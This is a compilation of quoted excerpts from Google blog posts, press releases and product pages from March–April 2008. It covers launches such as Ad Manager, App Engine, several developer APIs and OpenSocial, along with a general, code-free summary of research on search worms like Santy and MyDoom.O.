"As we are still in beta, Google Ad Manager is available to publishers by invitation only. If you're interested in learning more about it or would like to be considered for the program, visit the Google Ad Manager site. Existing DoubleClick customers are not affected by this announcement. As we expand the Google Ad Manager beta program, we will be in touch again to include additional publishers and offer updates on our progress."
http://googleblog.blogspot.com/2008/03/our-solutions-for-ad-serving.html
Google Unveils First Post-DoubleClick Ad Product
March 13, 2008
"It looks like eager ad watchers anxious to see what Google's first product from its DoubleClick acquisition would be got their answer today."
"The product is called Ad Manager, and it's a free hosted service for publishers to manage the ad inventories on their Web sites."
"Using DoubleClick's services, a business's sales team could manage their ad inventories and fill any unsold space on their site. Small sites with marginal sales staffs were often priced out of DoubleClick's fee-based services, however."
"Sites that either sell their own ads or work with outside networks to handle ad placement could use Ad Manager to fill unsold inventory, with Google taking a slice of the revenue."
"In this way, Google would extend the reach of its AdSense network, which now includes DoubleClick's DART for Publishers product."
"The announcement is part of Google's ambitious strategy to increase the reach and revenue of its display advertising business. With the regulatory review of the DoubleClick purchase concluded, Google plans to move aggressively to improve its competitive position in the display market, where it is still playing catch-up to AOL, Yahoo and Microsoft."
Control Your Own Advertising Empire With Google Ad Manager
March 13, 2008
"Google finally sealed the deal with advertising giant DoubleClick earlier this week, and already the company is taking the wraps off a new advertising application known as Google Ad Manager. Google Ad Manager offers smaller sites an easy way to manage their own advertising, similar to the way that DoubleClick's Revenue Center handles large businesses."
"While Google AdSense offers fully automated ads based on your page’s content, the new Google Ad Manager is designed to help you manage and sell custom ads to companies of your choice."
"Think of Ad Manager as a dashboard for controlling your own ad empire."
"At the moment Google Ad Manager is a private beta and available only by invitation. You can head over to the new Ad Manager site and sign up for an invite and also take a tour that offers some more details on how the service will work."
http://blog.wired.com/monkeybites/2008/03/control-your-ow.html
Google Ad Manager BETA
"Google Ad Manager is a hosted ad management solution that can help you sell, schedule, deliver, and measure all of your directly-sold and network-based inventory."
http://www.google.com/admanager
Google Ad Manager Help Center
http://www.google.com/support/admanager/publisher/
Google Ad Manager Forum: Ad Manager Help
http://groups.google.com/group/admanager-help
Book info where you need it, when you need it
March 13, 2008
"Here at Google Book Search we love books. To share this love of books (and the tremendous amount of information we've accumulated about them), today we've released a new API that lets you link easily to any of our books. Web developers can use the Books Viewability API to quickly find out a book's viewability on Google Book Search and, in an automated fashion, embed a link to that book in Google Book Search on their own sites."
"As an example of the API in use, check out the Deschutes Public Library in Oregon, which has added a link to "Preview this book at Google" next to the listings in their library catalog. This enables Deschutes readers to preview a book immediately via Google Book Search so that they can then make a better decision about whether they'd like to buy the book, borrow it from a library or whether this book wasn't really the book they were looking for."
http://googleblog.blogspot.com/2008/03/book-info-where-you-need-it-when-you.html
Preview books anywhere with the new Google Book Search API
March 13, 2008
"Today we announced the release of a new API for Book Search. We're excited about this API because it makes it easy for users and other book lovers to connect with Google Book Search through a myriad of library sources, from their local library catalogs to their favorite book sites."
"For example, using the API, a library can add a link to "View this book in Google Book Search" next to every book entry in its catalog for which we have a preview in our index. This means the library's patrons, whether in the library or online at home, can preview the book immediately via Google Book Search."
http://booksearch.blogspot.com/2008/03/preview-books-anywhere-with-new-google.html
Google Book Search Book Viewability API
What are the Google Book Search APIs?
"Google's mission is to organize the world's information and make it universally accessible and useful. To help make the information we've organized in Google Book Search more useful, we provide several different ways to learn about Google's books and link to them."
Viewability API - Dynamic Links "The Google Book Search Book Viewability API enables developers to:"
"Link to Books in Google Book Search using ISBNs, LCCNs, and OCLC numbers"
"Know whether Google Book Search has a specific title and what the viewability of that title is"
"Generate links to a thumbnail of the cover of a book"
"Generate links to an informational page about a book"
"Generate links to a preview of a book"
http://code.google.com/apis/books/
Google Book Search APIs Forum: booksearch-apis
http://groups.google.com/group/booksearch-apis
Google Book Search
Space Jam
March 13, 2008
"Code Jam is one of our most famous traditions. Programmers compete to hack and solve complex programming challenges in a very short time, and the winners are awarded fame, cash prizes and the opportunity to intern at Google."
"Diego Gavinowich from Buenos Aires was a finalist in our Latin America Code Jam, and joined us for a winter internship three months ago (missing summer break in Argentina!). Since he loves astronomy and web hacking, we gave Diego a new Code Jam challenge: code a web version of Google Sky by the end of his time with us."
"Well, he did it... with the help of other engineers jamming along on their 20% time. We're very pleased to tell you that Google Sky is now available on the web at sky.google.com. You can search for planets, listen to Earth & Sky podcasts, watch some beautiful Hubble telescope images, or explore historical maps of the sky from the comfort of your browser."
http://googleblog.blogspot.com/2008/03/space-jam.html
Google Sky
Using log data to help keep you safe
March 13, 2008
"We sometimes get questions on what Google does with server log data, which registers how users are interacting with our services. We take great care in protecting this data, and while we've talked previously about some of the ways it can be useful, something we haven't covered yet are the ways it can help us make Google products safer for our users."
"While the Internet on the whole is a safe place, and most of us will never fall victim to an attack, there are more than a few threats out there, and we do everything we can to help you stay a step ahead of them. Any information we can gather on how attacks are launched and propagated helps us do so."
"That's where server log data comes in. We analyze logs for anomalies or other clues that might suggest malware or phishing attacks in our search results, attacks on our products and services, and other threats to our users. And because we have a reasonably significant data sample, with logs stretching back several months, we're able to perform aggregate, long-term analyses that can uncover new security threats, provide greater understanding of how previous threats impacted our users, and help us ensure that our threat detection and prevention measures are properly tuned."
"We can't share too much detail (we need to be careful not to provide too many clues on what we look for), but we can use historical examples to give you a better idea of how this kind of data can be useful. One good example is the Santy search worm (PDF), which first appeared in late 2004. Santy used combinations of search terms on Google to identify and then infect vulnerable web servers. Once a web server was infected, it became part of a botnet and started searching Google for more vulnerable servers. Spreading in this way, Santy quickly infected thousands and thousands of web servers across the Internet."
"As soon as Google recognized the attack, we began developing a series of tools to automatically generate "regular expressions" that could identify potential Santy queries and then block them from accessing Google.com or flag them for further attention. But because regular expressions like these can sometimes snag legitimate user queries too, we designed the tools so they'd test new expressions in our server log databases first, in order to determine how each one would affect actual user queries. If it turned out that a regular expression affected too many legitimate user queries, the tools would automatically adjust the expression, analyze its performance against the log data again, and then repeat the process as many times as necessary."
"In this instance, having access to a good sample of log data meant we were able to refine one of our automated security processes, and the result was a more effective resolution of the problem. In other instances, the data has proven useful in minimizing certain security threats, or in preventing others completely. In the end, what this means is that whenever you use Google search, or Google Apps, or any of our other services, your interactions with those products helps us learn more about security threats that could impact your online experience. And the better the data we have, the more effectively we can protect all our users."
http://googleblog.blogspot.com/2008/03/using-log-data-to-help-keep-you-safe.html
Search Worms
by Niels Provos, Joe McClain, Ke Wang
ABSTRACT
"Worms are becoming more virulent at the same time as operating system improvements try to contain them. Recent research demonstrates several effective methods to detect and prevent randomly scanning worms from spreading [2, 13]. As a result, worm authors are looking for new ways to acquire vulnerable targets without relying on randomly scanning for them. It is often possible to find vulnerable web servers by sending carefully crafted queries to search engines. Search worms1 automate this approach and spread by using popular search engines to find new attack vectors. These worms not only put significant load on search engines, they also evade detection mechanisms that assume random scanning. From the point of view of a search engine, signatures against search queries are only a temporary measure as many different search queries lead to the same results. In this paper, we present our experience with search worms and a framework that allows search engines to quickly detect new worms and take automatic countermeasures. We argue that signature-based filtering of search queries is ill-suited for protecting against search worms and show how we prevent worm propagation without relying on query signatures. We illustrate our approach with measurements and numeric simulations."
3.1 MyDoom
"MyDoom is a worm that propagates via email. The email claims to be from a company’s support department and contains an executable file as an attachment. When a user executes it, the worm gets activated and searches the local hard disk for email addresses of other users to infect. As a result, the worm propagates along the social network of the infected users. MyDoom.O improves on previous versions of MyDoom by increasing its branching factor. Instead of relying only on email addresses found locally, MyDoom.O uses the domain names of email addresses to search for more email addresses on Internet search engines. It first started spreading on July 26th, 2004 and managed to infect about 60,000 hosts in less than 8 hours. MyDoom.O used the following search engines, weighted by their respective probabilities: Google (45%), Lycos (22.5%), Yahoo (20%) and Altavista (12.5%)."
3.2 Santy
"The Santy worm surfaced on December 20th, 2004 and is the first search worm to propagate automatically, without any human intervention [3]. It is written in Perl and exploits a bug in the phpBB bulletin system that allows an adversary to run arbitrary code on the web server. To find vulnerable servers to infect, it uses Google to search for URLs that contain the string viewtopic.php. To infect a web server, Santy appends an exploit against phpBB2 to each URL extracted from the search results. The exploit instructs the web server to download the Santy worm from a central distribution site. Once the worm has been started, it asks the search engine for more vulnerable sites. In addition to the worm itself, all variants also download another payload connecting the infected machine to an IRC bot network."
6. CONCLUSION
"Worms no longer infect their targets by randomly scanning the Internet. They now also take advantage of the huge amount of information collected by search engines and spread by querying a search engine for new targets to infect. To demonstrate that this is a real problem, we have presented our experience with two different search worms: MyDoom.O and Santy. We have shown that signature generation in conjunction with anomaly detection can prevent a worm from overloading a search engine but that the approach is not effective in preventing a worm from spreading. We argue that a signature-based approach is ill-suited against search worms, as many different search queries can lead to the same result. That is, even after signatures have been applied to block a particular variant of a search worm, it is easy for adversaries to find queries that circumvent existing signatures."
"To deal with this problem, we propose a solution that is query independent and classifies web pages as vulnerable if they belong to an exploitable server or contain potential infection targets. If a search query generates too many vulnerable results, we can detect that the search query belongs to a search worm and remove vulnerable results before showing them to the user. This approach is CPU efficient as it relies on pre-computation and is independent of the actual query."
http://www.citi.umich.edu/u/provos/papers/search_worms.pdf
WORM 2006
The 4th Workshop on Recurring Malcode (WORM)
http://www.eecs.umich.edu/~farnam/worm2006.html
Search worms
Proceedings of the 4th ACM workshop on Recurring malcode
http://portal.acm.org/citation.cfm?doid=1179542.1179544
Papers Written by Googlers
http://research.google.com/pubs/papers.html
Vote for the YouTube Awards
March 17, 2008
"We're thrilled to say that the second annual YouTube Awards are now live and ready for your vote. This year we've added five new categories: Short Film, Political, Sports, Eyewitness, and Instructional, for a total of 12. So head over to our YouTube Video Awards channel to start watching and voting for some of the videos that defined '07."
"You can vote once per day (though you may not change your vote on the same day) and you have until 11:59pm PT this coming Wednesday, March 19th, to do so. We'll announce the winners on Friday, March 21st, at which point we'll feature them on this page and invite them to a special YouTube gathering later this year."
http://googleblog.blogspot.com/2008/03/vote-for-youtube-awards.html
The YouTube Awards Are Back!
March 13, 2008
"In 2007, we witnessed an explosion of ideas and creativity on YouTube. You showed us that online video is not just a way to share pet and baby videos (though it is certainly good for that, too), but rather it can be so much more: a showcase for aspiring artists, a megaphone for everyday people, a way to learn new skills and even to change the political process."
"In recognition of all of these vibrant uses of and communities on YouTube, we expanded the awards this year to include five new categories -- Best Short Film, Best Political Video, Best Sports Video, Best Eyewitness Video, and Best Instructional Video – for a total of 12. Each category now has six nominees instead of 10 (a special nod to those of you with short attention spans)."
"You'll also notice that the structure of the awards and the way voting works look a little different this year. Every time you refresh the page, the order of the categories and the featured thumbnail change in a random order so there can be no bias in the way the content is viewed or presented."
"As you might imagine, whittling down any category to six videos was a gargantuan task and already we'll say we're sorry to the hundreds/thousands of deserving content creators who didn't get nominated. But you can't exactly blame us - you made these videos memorable and helped them rise to the top of the YouTube charts. The nominees reflect some of the most buzzed-about videos on the site, particularly the ones you bookmarked to watch later (and presumably again and again)."
http://www.youtube.com/blog?entry=YXJYpx0EKEs
YouTube Awards 2007
http://www.youtube.com/ytawards07
YouTube / Picasa Web Albums APIs Hackathon at the 'plex
March 17, 2008
"As promised in my last post announcing the new YouTube developer offerings, we're hosting a hackathon for the YouTube and Picasa Web Albums APIs at the Googleplex on March 27th, 2008."
"We'll give overviews of both APIs, go over new features, and run some codelabs to get you started. If you're already familiar with both the APIs, stop by to meet the teams, ask questions, and find other developers to work on projects with."
"There will be two sessions -- one from 3PM - 6:30PM and another from 6:30PM - 10PM. Feel free to stay the whole day, or just come for the session you have time for. Don't worry about food and caffeine -- we've got you covered."
http://google-code-updates.blogspot.com/2008/03/youtube-picasa-web-albums-apis.html
YouTube / Picasa APIs Hackathon
"Google will be holding a hackathon to get you started on the YouTube and Picasa Web Albums APIs! We will be doing short introductions, then some codelabs. Meet the YouTube and Picasa teams, ask questions, and meet other local developers. Bring your laptops and come hangout at Google. Food will be provided."
http://code.google.com/events/hackathons/ytpicasa.html
YouTube APIs and Tools
http://code.google.com/apis/youtube/overview.html
Picasa Web Albums Data API
http://code.google.com/apis/picasaweb/overview.html
Google Charts API Update
March 19, 2008
"Google updated their charts API, which they first released back in December 2007. First of all, the old limit of 50,000 queries per user per day has been removed (though Google asks you email them if you receive more than 250,000 queries a day so they can better scale this)."
"Also, there are several extended or new features. Among them are radar charts, sparklines, and maps. The last one is perhaps the most interesting, as it lets you display and color a map."
http://blogoscoped.com/archive/2008-03-19-n48.html
Lifting the limit on calls to the Google Chart API
March 18, 2008
"We got a lot of feedback after releasing the Google Chart API in early December. By far the most questions were about the limit of 50,000 queries per user per day. Some of you who are webmasters of larger sites are afraid of overstepping this limit. We've heard your concerns, and have decided to drop that limit altogether."
"However, should you expect to regularly cause more than 250,000 queries per day to the Google Chart API, we'd like you to let us know by mailing chart-api-notifications@google.com so that we can plan for the demand."
"And with that said, from now on, if your site can't handle the Slashdot effect, it shouldn't be because of the Google Chart API. ;)"
"But why did we impose a query limit to start with? It was there to ensure that we could provide a reliable service for all legitimate users because we were able to lock out malicious users."
"We work hard to provide reliable services, and even have a specific team of site reliability engineers (SRE) dedicated to keeping our services up and running (as well as fast). I cover the Chart API for SRE. A very important part of an SRE's work is capacity planning, because only a service with sufficient capacity can serve reliably and with low latency. For a new service, planning the capacity is naturally very hard, because there are a lot of unknown contributing variables. That's why we started with a quite conservative query limit. Now, that we've had the public API running for some time, we've collected enough experience to feel comfortable raising that limit without jeopardizing the service's reliability."
http://google-code-updates.blogspot.com/2008/03/lifting-limit-on-calls-to-google-chart.html
Google Chart API
http://code.google.com/apis/chart/
Google Chart API FAQ
http://code.google.com/support/bin/topic.py?topic=13605
Google Chart API forum
http://groups.google.com/group/google-chart-api
Google for Non-Profits
March 18, 2008
"Many of you spend your days making this world a better place, and we want to do our part to help. Today, we're excited to launch Google For Non-Profits, a one-stop shop for tools to help advance your organization's mission in a smart, cost-efficient way."
"This site features ideas and tutorials for how you can use Google tools to promote your work, raise money and operate more efficiently. And to get inspired, you'll also find examples of innovative ways other non-profits are using our products to further their causes."
http://googleblog.blogspot.com/2008/03/google-for-non-profits.html
Google for Non-Profits
"You are changing the world. We want to help."
"Learn how to use free Google tools to promote your work, raise money, and operate more efficiently."
http://www.google.com/nonprofits/
Opening Google Docs to users and developers via Gadgets and Visualization API
March 19, 2008
"today we're starting a new path to better enable developers to customize and build on top of Google Docs with two new tools we are releasing today: Gadgets-in-Docs and the Visualization API."
"Instead of delivering just one or two new types of reports, or a new visual map mashup (can you ever get enough of those?), we decided to deliver a platform on which anyone, not just Google, could build the next best thing. We even invited a few developers to try this with us, and they join us in this launch by featuring just a few of their creations, like Panorama's pivot table, or ViewPath's Gantt Chart, or Infopath's Funnel Charts -- all great tools for the student and enterprise user alike. We also built a few early gadgets ourselves which you might find useful."
"We borrowed the Gadgets-in-Docs concept from the iGoogle team, so it's only fitting that you can also publish your spreadsheet gadgets to iGoogle, where you can see your data-based-Gadget right next to all that other stuff that's important to you (even if it is just a picture of your dog)."
"To try it out, go into Google Docs and open up a spreadsheet. Click on the chart icon, and click 'Gadget...'. Pick your gadget, customize it to fit your data, and then publish it out to iGoogle or to any webpage."
"If you're a developer and want to reach millions of people with your latest creation, check out the Google Visualization API, courtesy of our visualization team engineers. The Visualization API provides a platform that can be used to create, share and reuse visualizations written by the developer community. It provides a common way (an API) to access structured data sources, the first being Google spreadsheets."
http://googleblog.blogspot.com/2008/03/opening-google-docs-to-users-and.html
Introducing the Google Visualization API
March 19, 2008
"when we acquired Gapminder last year, we were excited by the opportunity to use Gapminder's powerful visualization techniques to bring new life and usefulness to Google datasets. And we were not alone -- the web is home to a vibrant community of developers who build amazing visualization applications."
"With the community in mind, we're please to introduce the Google Visualization API, which is designed to make it easier for a wide audience to make use of advanced visualization technology"
"This launch is in tandem and in cooperation with the Google Docs team, who just announced support for gadgets and the Visualization API in spreadsheets. This includes a set of gadgets created by Google and several other companies, including some that add pivoting, grouping, and other new functionality to your spreadsheets. You can see all of those in our 'featured' list within the visualization gallery, which includes the Gapminder Motion Chart that has proven especially popular among within Google."
http://google-code-updates.blogspot.com/2008/03/introducing-google-visualization-api.html
Gapminder
Google Docs
iGoogle
Google Visualization API Gadget Gallery
http://code.google.com/apis/visualization/documentation/gadgetgallery.html
Google Visualization API
"What is the Google Visualization API?"
"The Google Visualization API lets you access multiple sources of structured data that you can display, choosing from a large selection of visualizations. The Google Visualization API also provides a platform that can be used to create, share and reuse visualizations written by the developer community at large."
"Embed visualizations directly into your website: Display attractive data on your website by choosing from a vast array of visualizations created by the developer community."
"Write, share and reuse: The Google Visualization API provides simple Gadget extensions to its API to create visualization Gadgets. Publish these here or in the Gadget directory."
"Create extensions to Google products: Write visualization applications for Google products such as Google Docs."
"Use many data sources, one API: Visualization apps created using the API are able to access any compliant data source with no required code changes to your application. Developers can start building apps immediately using Google Spreadsheets as a supported data source."
http://code.google.com/apis/visualization/
Google Visualization API FAQ
http://code.google.com/support/bin/topic.py?topic=14181
Google Visualization API forum
http://groups.google.com/group/google-visualization-api
New Google AJAX Language API - Tools for translation and language detection
March 20, 2008
"The API helps developers automatically translate content in their applications. Users on these sites will have an easier time communicating across lingual boundaries."
http://googleblog.blogspot.com/2008/03/new-google-ajax-language-api-tools-for.html
Google’s AJAX Translation API
March 20, 2008
"Google has just released a new AJAX API which allows developers to easily add machine translation capabilities to their websites. Using the Google AJAX Language API, you can detect the language of a piece of text and translate it into any of the supported Google Translate languages."
"As a simple example, you can translate the first few paragraphs of this post into Arabic, Chinese (Simplified or Traditional), Dutch, French, German, Italian, Japanese, Korean, Portuguese, Russian or Spanish using the drop down at the end of the post (assuming you have JavaScript enabled in your browser)."
http://blogoscoped.com/archive/2008-03-20-n87.html
Google releases AJAX Translation API
March 20, 2008
"Google has been releasing lots of API’s lately — their latest is the AJAX Translation API. What does that mean? Webmasters can now let users do on-the-fly translations and language detection. One interesting example might be a comment box on a blog that immediately throws an warning message when a user tries to post something in a language other than English. Or, even more interesting, have comments be automatically translated to English so the majority of readers can understand the comment."
http://blogs.zdnet.com/Google/?p=976
Google Translate API
March 20, 2008
"Google launched another AJAX API, this time for language detection and translation. The API works for the same language pairs that are available at Google Translate and lets you display the translation of a text inside your own page, without having to link to an external translation service."
"The translation API could be used to automatically translate some content from a web page using the browser's preferred language, to create a Greasemonkey script that translates to English the posts written in other languages, to detect if a comment is written in English before posting it and for many other things."
http://googlesystem.blogspot.com/2008/03/google-launched-another-ajax-api-this.html
Google Translate
Google AJAX Language API
"What is the Google AJAX Language API?"
"With the AJAX Language API, you can translate and detect the language of blocks of text within a webpage using only Javascript."
"The language API is designed to be simple and easy to use to translate and detect languages on the fly when offline translations are not available. We plan on adding more exciting capabilities to the AJAX Language API in the future, so stay tuned."
http://code.google.com/apis/ajaxlanguage/
Yahoo to Support OpenSocial
March 25, 2008
"Yahoo seems to be all about openness lately (Open Search, support for OpenID), so the announcement that the company intends to support Google's OpenSocial initiative shouldn't surprise anyone. OpenSocial is an API for writing social applications that work across multiple sites and many social networks started to work on implementing it: MySpace, hi5, orkut."
"OpenSocial Foundation has a web site that uses the recently launched Google Sites. The foundation will make OpenSocial more neutral and closer to becoming a web standard."
"Two weeks ago, MySpace launched a gallery for OpenSocial apps, hi5 will officially open its platform on March 31st, while orkut has delayed the launch. Hopefully, this is the first step from a bigger initiative of making social networks more open and less self- centered."
http://googlesystem.blogspot.com/2008/03/yahoo-to-support-opensocial.html
Announcing the OpenSocial Foundation
March 25, 2008
"it’s pretty clear that the social part of the Internet is becoming more and more important to people. From chat to games to messaging to sharing things like news, entertainment, pictures, maps, movies and other “favorites,” users are looking for more ways to give contacts a sense of who they are and what they’re into. As social applications take the mash-up world by storm, a growing number of companies and data sources are opening up to give people the information they want, and developers are scrambling to create new applications that connect users with friends and colleagues."
"Yahoo! has always been about helping users find and share information online, and we love giving our broad and loyal developer community the tools they need to keep innovating on this front. Their echo our passion for creating the best Web experience for our users."
"In this same spirit, we announced today that we’ve joined forces with Google and MySpace to create the OpenSocial Foundation, and will also begin supporting the OpenSocial standard. Industry consortiums such as this often start slowly and evolve over time. So far, OpenSocial is rapidly growing and adapting, but still in the early stages. We feel that this is the right step at this stage in its evolution. It’s no longer a trial balloon — it’s for real. We are taking this opportunity to help ensure websites and developers feel confident using OpenSocial as the building blocks for their new social apps."
"We already offer Web services and APIs through the Yahoo! Developer Network that make it easy for developers to build applications and mashups that integrate data sources in new ways. We think OpenSocial will continue to fuel this innovation and make the Web more relevant and more enjoyable to millions."
"We can only imagine the possibilities of what creative developers and publishers will do with these tools. Stay tuned for more on how we’ll be supporting OpenSocial and driving the OpenSocial Foundation to create an open and increasingly social Web."
http://ycorpblog.com/2008/03/25/announcing-the-opensocial-foundation/
Yahoo! supports OpenSocial; Yahoo!, MySpace and Google to form non- profit OpenSocial Foundation
March 25, 2008
"Yahoo!, MySpace, and Google today announced they have agreed to form the OpenSocial Foundation to ensure the neutrality and longevity of OpenSocial as an open, community-governed specification for building social applications across the web. Yahoo!’s support of OpenSocial and role as a founding member of the new foundation are landmarks for the rapidly growing specification which will now offer developers the potential to connect with more than 500 million people worldwide."
"The OpenSocial Foundation will be an independent non-profit entity with a formal intellectual property and governance framework; related assets will be assigned to the new organization by July 1, 2008. The foundation will provide transparency and operational guidelines around technology, documentation, intellectual property, and other issues related to the evolution of the OpenSocial platform, while also ensuring all stakeholders share influence over its future direction."
"The OpenSocial Foundation website at www.opensocial.org will serve as the portal for the community to find all information about OpenSocial and the foundation as they evolve. Developers and website owners can now visit www.opensocial.org for the latest specifications, links to other resources, and the opportunity to get involved."
http://www.google.com/intl/en/press/pressrel/20080325_opensocial.html
OpenSocial continues to grow: Welcome, Yahoo!
March 25, 2008
"Last November, OpenSocial was created to help build infrastructure for the social web. OpenSocial provides a common mechanism for developers to easily hook into many different social networks and extend their functionality. Sites including MySpace and orkut have begun to provide OpenSocial applications to their users, and hi5 will be rolling out next week."
"Today we're pleased that Yahoo! has announced its support for OpenSocial. We're looking forward to having Yahoo! users join the hundreds of millions of people who will soon enjoy OpenSocial applications. This addition means even more distribution for developers, encourages participation by even more websites, and, most importantly, results in more features for users all across the web."
"In addition, Yahoo!, MySpace, and Google are joining with the broader community to create a non-profit foundation to foster the continued open development of OpenSocial. To that end, we've also launched OpenSocial.org, designed to become the main documentation hub and primary source of information about OpenSocial."
http://googleblog.blogspot.com/2008/03/opensocial-continues-to-grow-welcome.html
An OpenSocial Foundation
March 25, 2008
"Today we are pleased to announce that Google is joining together with Yahoo! and MySpace in the creation of a non-profit foundation for the open and transparent governance of the OpenSocial specifications and intellectual property. This foundation, modeled after the community- led and industry-supported OpenID Foundation, will seek to ensure that the technology behind OpenSocial remains implementable by all, freely and without restriction, in perpetuity. The establishment of the foundation is a necessary and exciting next step toward an open model for application syndication via an increasingly socially-enabled Internet, and we invite and encourage your involvement as we complete this process over the next several months."
"Additionally we are pleased to be a part of the launch of opensocial.org, the new official home for the OpenSocial specifications and developer community. While we are still in the early stages of putting the new site together, we wanted to open the site and the process immediately for community feedback and review."
"So please join us, Yahoo!, MySpace, and all of the other OpenSocial containers and application providers, in extending a warm welcome to the community in a spirit of collaboration and rapid iteration, as we move forward with the establishment of the OpenSocial Foundation and look ahead to the continued growth of the social web."
http://google-code-updates.blogspot.com/2008/03/opensocial-foundation.html
OpenSocial Foundation Proposal
"This document proposes the creation of a non-profit, private foundation dedicated to the sustainable and open development of the OpenSocial initiative and related intellectual property. This document will be used as a starting point for creating the charter of such a foundation, along with its structure, policies, and procedures, and its responsibilities for supporting the ongoing development of the technology."
http://sites.google.com/a/opensocial.org/opensocial/OpenSocial-Foundation-Proposal
OpenSocial.org
Add your own buttons to Picasa, upload photos all over the Web
March 26, 2008
"If you've ever wanted to make your favorite software or website work with Google's Picasa software, there's a new Picasa Button API that lets you add your own buttons to the desktop interface."
"These buttons can send files to other applications on your PC, -- this tutorial (.zip) shows how to send files to Adobe Photoshop CS3 -- and they can also upload photos and movies to websites of your choice."
"I'm most excited about our Web Uploader API. It uses a protocol we developed for posting photos to Blogger a couple years ago, and it shows a web-based preview of what you're going to upload before you send it. Using the web uploader, you can make user interfaces that feel more like sending an email and less like "Wait an hour to upload..." Picasa can also resize files before sending, saving time."
"Also because these new buttons can be made by anyone, it means that there's no job too small for a Picasa button. You could make a button for your personal blog or for your major photo hosting service. See our demo video, which features Smugmug."
http://google-code-updates.blogspot.com/2008/03/add-your-own-buttons-to-picasa-upload.html
Picasa Button and Web Uploader APIs video
http://www.youtube.com/watch?v=1IGCbH6hLRA
Picasa Button API
http://code.google.com/apis/picasa/docs/button_api.html
Picasa Web Uploader API
http://code.google.com/apis/picasa/docs/web_uploader.html
Picasa APIs
http://code.google.com/apis/picasa/
Picasa APIs forum
http://groups.google.com/group/google-picasa-apis
The Black Google Homepage
March 29, 2008
"Google's homepage is black for the users from United States, United Kingdom, Ireland, Canada and Denmark to promote Earth Hour, an event that encourages energy conservation. "On Saturday, March 29, 2008, Earth Hour invites people around the world to turn off their lights for one hour – from 8:00pm to 9:00pm in their local time zone. (...) Given our company's commitment to environmental awareness and energy efficiency, we strongly support the Earth Hour campaign, and have darkened our homepage today to help spread awareness of what we hope will be a highly successful global event," explains Google in a special page created for the event. Earth Hour started last year in Sydney, but this year many cities from all over the world joined the event."
http://googlesystem.blogspot.com/2008/03/black-google-homepage.html
Google: Earth Hour
"Google users in the United States will notice today that we "turned the lights out" on the Google.com homepage as a gesture to raise awareness of a worldwide energy conservation effort called Earth Hour. As to why we don't do this permanently - it saves no energy; modern displays use the same amount of power regardless of what they display. However, you can do something to reduce the energy consumption of your home PC by joining the Climate Savers Computing Initiative."
"On Saturday, March 29, 2008, Earth Hour invites people around the world to turn off their lights for one hour – from 8:00pm to 9:00pm in their local time zone. On this day, cities around the world, including Copenhagen, Chicago, Melbourne, Dubai, and Tel Aviv, will hold events to acknowledge their commitment to energy conservation."
http://www.google.com/intl/en/earthhour/
Developers, start your engines
April 7, 2008
"We just launched a preview release of Google App Engine, a way for developers to run their web applications on Google's infrastructure. In the same way that Blogger made it easy to create a blog, Google App Engine is designed from the ground up to make it easy to create and run web applications."
"With Google App Engine, developers can write web applications based on the same building blocks that Google uses, like GFS and Bigtable. Google App Engine packages those building blocks and provides access to scalable infrastructure that we hope will make it easier for developers to scale their applications automatically as they grow. This means they can spend less time dealing with system administration and maintenance, and more time building and improving their applications. (There's more detail on the new App Engine Blog.)"
"Google App Engine is free to use during the preview release, but the amount of computing resources any app can use is limited. In the future, developers will be able to purchase additional computing resources as needed, but Google App Engine will always be free to get started."
http://googleblog.blogspot.com/2008/04/developers-start-your-engines.html
Introducing Google App Engine + our new blog
April 7, 2008
"At tonight's Campfire One we launched a preview release of Google App Engine -- a developer tool that enables you to run your web applications on Google's infrastructure. The goal is to make it easy to get started with a new web app, and then make it easy to scale when that app reaches the point where it's receiving significant traffic and has millions of users."
"Google App Engine gives you access to the same building blocks that Google uses for its own applications, making it easier to build an application that runs reliably, even under heavy load and with large amounts of data."
"During this preview period, applications are limited to 500MB of storage, 200M megacycles of CPU per day, and 10GB bandwidth per day. We expect most applications will be able to serve around 5 million pageviews per month. In the future, these limited quotas will remain free, and developers will be able to purchase additional resources as needed."
http://googleappengine.blogspot.com/2008/04/introducing-google-app-engine-our-new.html
What Is Google App Engine?
"Google App Engine lets you run your web applications on Google's infrastructure. App Engine applications are easy to build, easy to maintain, and easy to scale as your traffic and data storage needs grow. With App Engine, there are no servers to maintain: You just upload your application, and it's ready to serve your users."
"You can serve your app using a free domain name on the appspot.com domain, or use Google Apps to serve it from your own domain. You can share your application with the world, or limit access to members of your organization."
"App Engine costs nothing to get started. Sign up for a free account, and you can develop and publish your application for the world to see, at no charge and with no obligation. A free account can use up to 500MB of persistent storage and enough CPU and bandwidth for about 5 million page views a month."
"During the preview release of Google App Engine, only free accounts are available. In the near future, you will be able to purchase additional computing resources."
The Application Environment "Google App Engine makes it easy to build an application that runs reliably, even under heavy load and with large amounts of data. The environment includes the following features:"
"• dynamic web serving, with full support for common web technologies"
"• persistent storage with queries, sorting and transactions"
"• automatic scaling and load balancing"
"• APIs for authenticating users and sending email using Google Accounts"
"• a fully featured local development environment that simulates Google App Engine on your computer"
"Google App Engine applications are implemented using the Python programming language. The runtime environment includes the full Python language and most of the Python standard library."
"Although Python is currently the only language supported by Google App Engine, we look forward to supporting more languages in the future."
http://code.google.com/appengine/docs/whatisgoogleappengine.html
Google App Engine
Google App Engine Blog
http://googleappengine.blogspot.com/
Google App Engine forum
http://groups.google.com/group/google-appengine
Google App Engine: Download the Google App Engine SDK
http://code.google.com/appengine/downloads.html
Google App Engine: Developer's Guide
"Welcome to Google App Engine! This developer's guide contains everything you need to know to build scalable web applications using Google technology."
http://code.google.com/appengine/docs/
Google App Engine: Getting Started
"This tutorial describes how to develop and deploy a simple project with Google App Engine. The example project, a guest book, demonstrates how to use several App Engine services, including the datastore and the Google user service."
http://code.google.com/appengine/docs/gettingstarted/
Google App Engine: Applications Gallery
http://appgallery.appspot.com/
Developing and deploying an application on Google App Engine
http://www.youtube.com/watch?v=bfgO-LXGpTM
Google Campfire One
http://code.google.com/campfire/
Google Code
Google Apps
Google Talk Labs Edition
"Download Google Talk Labs Edition and get:"
"Features of the Google Talk Gadget on your desktop (emoticons, group chat, and more!)"
"New! Desktop notifications from the following services: Gmail, Calendar (with a new snooze option!), Orkut"
http://www.google.com/talk/labsedition/index.html
Google Talk Labs Edition FAQ
"What is Google Talk, Labs Edition?"
"Google Talk, Labs Edition is an experimental release of the Google Talk client. It has many of the same great features as the Google Talk Gadget, including instant messaging, emoticons, and group chat. Google Talk, Labs Edition also comes with new desktop notifications from Calendar, Orkut, and Gmail."
"Some features from the original Google Talk client are missing. What happened to them?"
